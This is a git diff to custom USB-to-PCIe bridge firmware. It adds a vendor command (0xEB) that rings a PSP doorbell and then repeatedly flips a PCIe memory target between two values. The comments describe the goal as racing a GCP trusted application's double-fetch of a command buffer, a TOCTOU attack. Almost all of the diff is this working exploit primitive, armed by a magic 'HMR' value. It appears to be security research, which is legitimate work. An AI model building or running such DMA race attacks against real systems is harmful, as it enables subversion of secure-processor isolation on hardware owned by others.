diff --git a/handmade/src/main.c b/handmade/src/main.c index 7dd8220..9ceb0d1 100644 --- a/handmade/src/main.c +++ b/handmade/src/main.c @@ -145,6 +145,16 @@ static void do_usb_bulk_in(void) { /*=== USB Control Handler ===*/ +/* GCP hammer config, pinned at a free XDATA address (firmware uses 0x0000-0x0008 + * and 0x7000+). Host pokes this via 0xE5 (no timing constraint), then fires the + * tiny 0xEB trigger. Layout (all little-endian): + * [0:8] doorbell PCIe addr (0 => skip doorbell) [8:12] doorbell value + * [12:20] hammer target PCIe addr [20:24] value A + * [24:28] value B [28:30] iterations + * [30] fmt_type (0 => MWr64 0x60) [31] byte_en (0 => 0x0F) + */ +__xdata uint8_t hammer_cfg[32]; + static void handle_usb_control(void) { uint8_t phase; phase = REG_USB_CTRL_PHASE; @@ -286,6 +296,10 @@ static void handle_usb_control(void) { * DATA_OUT: 12 bytes = addr_lo[4 LE] + addr_hi[4 LE] + value[4 LE] */ /* Don't configure yet — wait for DATA_OUT phase. * SETUP params (wValue/wIndex) are readable from registers in DATA_OUT. */ + } else if (bmReq == (USB_SETUP_DIR_HOST_TO_DEV | USB_SETUP_TYPE_VENDOR) && bReq == 0xEB) { + /* 0xEB OUT (SETUP): GCP hammer trigger. Params come from hammer_cfg@0x6000 + * (host-poked via 0xE5); trigger DATA_OUT is just the 4-byte arming magic. + * The doorbell+hammer runs in the STAT_IN branch below. Nothing here. */ } else if (bmReq == (USB_SETUP_DIR_DEV_TO_HOST | USB_SETUP_TYPE_VENDOR) && bReq == 0xF0) { /* 0xF0 IN: read TLP completion (mode=0 only). Returns 8 bytes. */ uint8_t ret_status = 0xFF; @@ -380,6 +394,62 @@ static void handle_usb_control(void) { } usb_send_zlp(); } + if (REG_USB_SETUP_BMREQ == (USB_SETUP_DIR_HOST_TO_DEV | USB_SETUP_TYPE_VENDOR) && + REG_USB_SETUP_BREQ == 0xEB) { + /* ===== GCP cmd-buffer TOCTOU hammer (opcode 0xEB) ===================== + * Rings the PSP ring doorbell (one MemWr), then immediately flips a 32-bit + * PCIe target between value A and value B, to race the GCP TA's triple-read + * of cmdBuf[0x818] (double-fetch; fw/FINDING-GCP-FE09-...md Add.70). The + * single 8051 can't both service the host submit and hammer, so the bridge + * must fire the final doorbell itself. All params live in hammer_cfg@0x6000 + * (host-poked via 0xE5). Trigger payload = 4-byte arming magic 'H''M''R'0x01. + * Reuses the firmware's posted-MWr TLP primitive (fire-and-forget). + */ + if (DESC_BUF[0] == 0x48 && DESC_BUF[1] == 0x4D && + DESC_BUF[2] == 0x52 && DESC_BUF[3] == 0x01) { + uint16_t iters = ((uint16_t)hammer_cfg[29] << 8) | hammer_cfg[28]; + uint8_t fmt = hammer_cfg[30] ? hammer_cfg[30] : PCIE_FMT_MEM_WRITE64; + uint8_t ben = hammer_cfg[31] ? hammer_cfg[31] : 0x0F; + /* value bytes: DATA_0 = LE LSB (HW-verified natural store) */ + uint8_t a0 = hammer_cfg[20], a1 = hammer_cfg[21], a2 = hammer_cfg[22], a3 = hammer_cfg[23]; + uint8_t b0 = hammer_cfg[24], b1 = hammer_cfg[25], b2 = hammer_cfg[26], b3 = hammer_cfg[27]; + uint16_t k; + if (iters > 0x8000) iters = 0x8000; + + REG_PCIE_FMT_TYPE = fmt; + REG_PCIE_BYTE_EN = ben; + + /* optional doorbell: one MemWr to cfg[0:8] = cfg[8:12]. addr bytes map + * ADDR_0<-cfg[3]..ADDR_3<-cfg[0] / HIGH_0<-cfg[7]..HIGH_3<-cfg[4] (as 0xF0). */ + if (hammer_cfg[0] | hammer_cfg[1] | hammer_cfg[2] | hammer_cfg[3] | + hammer_cfg[4] | hammer_cfg[5] | hammer_cfg[6] | hammer_cfg[7]) { + REG_PCIE_ADDR_0 = hammer_cfg[3]; REG_PCIE_ADDR_1 = hammer_cfg[2]; + REG_PCIE_ADDR_2 = hammer_cfg[1]; REG_PCIE_ADDR_3 = hammer_cfg[0]; + REG_PCIE_ADDR_HIGH_0 = hammer_cfg[7]; REG_PCIE_ADDR_HIGH_1 = hammer_cfg[6]; + REG_PCIE_ADDR_HIGH_2 = hammer_cfg[5]; REG_PCIE_ADDR_HIGH_3 = hammer_cfg[4]; + REG_PCIE_DATA_0 = hammer_cfg[8]; REG_PCIE_DATA_1 = hammer_cfg[9]; + REG_PCIE_DATA_2 = hammer_cfg[10]; REG_PCIE_DATA_3 = hammer_cfg[11]; + REG_PCIE_STATUS = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK); + REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC; + } + + /* point engine at the hammer target cfg[12:20] */ + REG_PCIE_ADDR_0 = hammer_cfg[15]; REG_PCIE_ADDR_1 = hammer_cfg[14]; + REG_PCIE_ADDR_2 = hammer_cfg[13]; REG_PCIE_ADDR_3 = hammer_cfg[12]; + REG_PCIE_ADDR_HIGH_0 = hammer_cfg[19]; REG_PCIE_ADDR_HIGH_1 = hammer_cfg[18]; + REG_PCIE_ADDR_HIGH_2 = hammer_cfg[17]; REG_PCIE_ADDR_HIGH_3 = hammer_cfg[16]; + + for (k = 0; k < iters; k++) { + REG_PCIE_DATA_3 = a3; REG_PCIE_DATA_2 = a2; REG_PCIE_DATA_1 = a1; REG_PCIE_DATA_0 = a0; + REG_PCIE_STATUS = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK); + REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC; + REG_PCIE_DATA_3 = b3; REG_PCIE_DATA_2 = b2; REG_PCIE_DATA_1 = b1; REG_PCIE_DATA_0 = b0; + REG_PCIE_STATUS = (PCIE_STATUS_ERROR | PCIE_STATUS_COMPLETE | PCIE_STATUS_KICK); + REG_PCIE_TRIGGER = PCIE_TRIGGER_EXEC; + } + } + usb_send_zlp(); + } REG_USB_CTRL_PHASE = USB_CTRL_PHASE_DATA_IN | USB_CTRL_PHASE_STAT_IN; } else if (phase & USB_CTRL_PHASE_DATA_OUT) { REG_USB_CTRL_PHASE = USB_CTRL_PHASE_DATA_OUT;